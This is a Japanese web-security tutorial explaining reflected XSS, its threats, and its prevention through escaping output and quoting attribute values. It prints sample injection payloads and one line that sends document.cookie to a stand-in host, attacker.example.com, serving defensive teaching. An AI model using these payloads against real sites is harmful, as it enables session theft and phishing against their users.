JavaScriptセキュリティの基礎知識

第2回 Webセキュリティのおさらい その2 XSS

この記事を読むのに必要な時間:およそ 4 分

前回は,Webアプリケーションにおける受動的攻撃の代表例として,以下の4つを挙げました。

  • クロスサイトスクリプティング(XSS)
  • クロスサイトリクエストフォージェリ(CSRF)
  • オープンリダイレクト
  • クリックジャッキング

今回は,これらのうち,XSSについてより掘り下げて解説していきます。

XSSはどのようにして引き起こされるのか

XSSとは,動的にHTMLを生成するWebアプリケーションにおいて,データをエスケープせずに出力しているために,生成されるHTMLに攻撃者の作成したHTML断片やJavaScriptコードが埋め込まれてしまう脆弱性です。

たとえば,検索画面にてユーザーが「HTML5」という文字列を入力すると,http://example.jp/search?q=HTML5というURLで検索結果が表示されるWebアプリケーションがあったとしましょう。検索結果の画面では,ユーザーが入力した文字を強調表示するために,以下のように<span>タグによって囲まれているとします。

語句「<span class="keyword">HTML5</span>」を検索しました。20件の文書が見つかりました。

このとき,HTMLの生成において検索語句をエスケープせずに出力していると,検索語句として<script>alert(1)</script>などを与えたときに生成されるHTMLは

語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。

のようになり,本来文字列として表示されるべき検索語句が<script>要素として有効になってしまい,ブラウザ上ではJavaScriptが動作してしまいます。攻撃者はこの挙動を利用して,ユーザーを http://example.jp/search?q=<script>alert(1)</script> などに誘導することで,ユーザーのブラウザ上でJavaScriptを実行させることができます。

なお,HTML断片を埋め込まれることを「HTMLインジェクション」⁠JavaScriptが埋め込まれることや既存のJavaScript内にさらにコードが埋め込まれることを「JavaScriptインジェクション」⁠スクリプトインジェクション」などと呼び分けている文章もありますが,脆弱性の種類を識別する統一規格であるCWE(Common Weakness Enumeration:共通脆弱性タイプ)ではこれらを区別せず,どちらも「クロスサイトスクリプティング」と呼んでおり(http://jvndb.jvn.jp/ja/cwe/CWE-79.html)⁠両者を区別する必要はないでしょう。

XSSの脅威とは

先の例では,攻撃者はJavaScriptとしてalert(1)をユーザーのブラウザ上で実行させているだけでしたが,実際には攻撃者の用意した任意のJavaScriptコードが http://example.jp/ を対象としてユーザーのブラウザ上で動作する,つまり http://example.jp/ 上でユーザーが行えるすべての操作を攻撃者はJavaScriptによってユーザーのブラウザ上で行うことができるということになります。ユーザーのブラウザ上に偽のテキストや偽のログインフォームを表示し,そこへ入力された情報を搾取することもできますし,httponly属性のついていないCookieであればJavaSciriptから盗み見ることもできます。また,画面上に表示されている機密情報やプライベートな情報をJavaScriptを通じて読み取ることもできます。

たとえば,攻撃者がXSSを使って以下のようなJavaScriptコードをHTML内に挿入し,ユーザーのブラウザ上でそのJavaScriptが実行されたとします。

document.write( "<img src='http://attacker.example.com/?" + document.cookie + "'>" )

このとき,もしCookieにhttponly属性がついていなければ,攻撃者の用意したサイト http://attacker.example.com へとユーザーの使用しているCookie情報が送信されることになってしまいます。

XSSによって発生する脅威は,一般的には以下のようなものになります。

  • 偽情報の表示(JavaScriptによって,本来はWebサイト上に表示されていない偽の情報を自由にHTML上に表示できる)
  • フィッシング(JavaScriptによって,偽のログインフォームやお問い合わせフォーム,住所登録フォームなどを表示することで,ユーザーのプライベートな情報を登録させ,それを搾取できる)
  • 強制的なWebアプリケーションの操作(JavaScriptによって,強制的に画面上のページ遷移や操作を攻撃者が行える)
  • セッション情報の漏洩(Cookieにhttponly属性がつけられていない場合,JavaScriptからdocument.cookieを読み取ることによって,攻撃者はCookieに含まれるセッション情報を盗み見ることができる。また,httponly属性がついている場合であっても,ブラウザによってはJavaScriptからdocument.cookieへの書き込みはできるので,攻撃者があらかじめ用意したセッションを強制的に利用させることも可能)
  • 機密情報の漏洩(JavaScriptからHTMLを読み取れるため,攻撃者はHTML内に含まれる氏名や住所などのユーザーの機密情報を盗み見ることができる)

これらの脅威はあくまでも代表的なものであり,実際にはXSSの存在するWebアプリケーションの性質によって変わってきます。たとえば,ログイン機構を持たないWebサイト内の検索画面におけるXSSであれば,セッション情報の漏洩については大きな脅威とはならないこともあります。また逆に,Webメールのように利用者個人と強く紐づく大量の機密情報を取り扱うWebアプリケーションでは,ひとたびXSSが発生すると,ユーザーにとっては大きな脅威となりえます。実際に,2005年にはSNSサイトであるMySpace内でXSSを利用して拡散するワーム「Samy」が,2006年にはWebメールであるYahoo!メールにおいても同様にXSSを利用して自身を拡散させるワーム「Yamanner」が発生しています。

XSSの原因と対策

XSSが発生する代表的な原因としては,以下のようなものが挙げられます。

  • テキストノードでのエスケープ漏れ
  • 属性値への出力でのエスケープ漏れ
  • 属性値への出力を引用符で囲っていない
  • リンク先URLにhttpやhttps以外のスキームが入力可能

これら以外にもさまざまな原因でXSSは発生しますが,それらについては直面する機会も少ないため割愛します。また,JavaScriptによるXSS(DOM-based XSS)については,今後の回で詳細に解説します。今回は,従来からのXSSの代表的な原因について,より深く見ていきましょう。

XSSのうち非常に多くが,HTML上は本来テキストノードあるいは属性値として出力すべきデータを適切にエスケープせずにそのまま出力していることで引き起こされています。先の例では,以下のように本来は<span>要素内にテキストノードとして出力すべき箇所にて「<」⁠>」といったメタキャラクタをそのまま出力しているためにXSSが発生しています。

語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。

また,テキストノードへの出力の際のエスケープ漏れだけでなく,⁠<input>要素などの属性値へ文字列を出力する際に属性値が引用符で囲まれていない」⁠属性値がエスケープされていない」といった原因でXSSが発生する例も非常によくあります。

たとえば,http://example.jp/search?q=HTML5 のようなURLの指定において,<input>要素のvalue属性に指定された値を埋め込んで出力するWebアプリケーションがあったとします。

<input type=text value=HTML5>

このように,出力される属性値が引用符で囲まれていないHTMLが生成されている場合,攻撃者がたとえばx onmouseover=alert(1)のような文字列を指定すると,以下のようなHTMLが生成され,ユーザーがこの<input>要素の上でマウスを動かすとJavaScriptが実行されてしまいます※1)⁠

<input type=text value=x onmouseover=alert(1)>

属性値を引用符で囲っている場合であっても,属性値がエスケープされていない場合にはXSSが発生します。たとえば,攻撃者が"onmouseover=alert(1)//のような文字列を指定すると,以下のようなHTMLが生成され,onmouseover以降がvalue属性の値ではなくイベントハンドラとして有効になってしまうためにXSSが発生してしまいます。

<input type="text" value=""onmouseover=alert(1)//">

従来から存在するXSSの非常に多くが,この「テキストノードでのエスケープ漏れ」⁠属性値への出力でのエスケープ漏れ」⁠属性値への出力を引用符で囲っていない」のいずれかを原因としています。ですので,以下の2つの対策を徹底して行うことで,XSSの発生を防ぐことができます。

  • (1)文字列を出力する際には,テキストノードあるいは属性値としてのみ解釈されるように適切にエスケープを施す
  • (2)属性値を出力する際には,引用符で囲む
※1)
ユーザーの操作を介在させずにJavaScriptを動作させる方法も存在します。機会があれば,回を改めて説明します。

著者プロフィール

はせがわようすけ

株式会社セキュアスカイ・テクノロジー常勤技術顧問。 Internet Explorer,Mozilla FirefoxをはじめWebアプリケーションに関する多数の脆弱性を発見。 Black Hat Japan 2008,韓国POC 2008,2010,OWASP AppSec APAC 2014他講演多数。 OWASP Kansai Chapter Leader / OWASP Japan Board member。

URL:http://utf-8.jp/

コメント

コメントの記入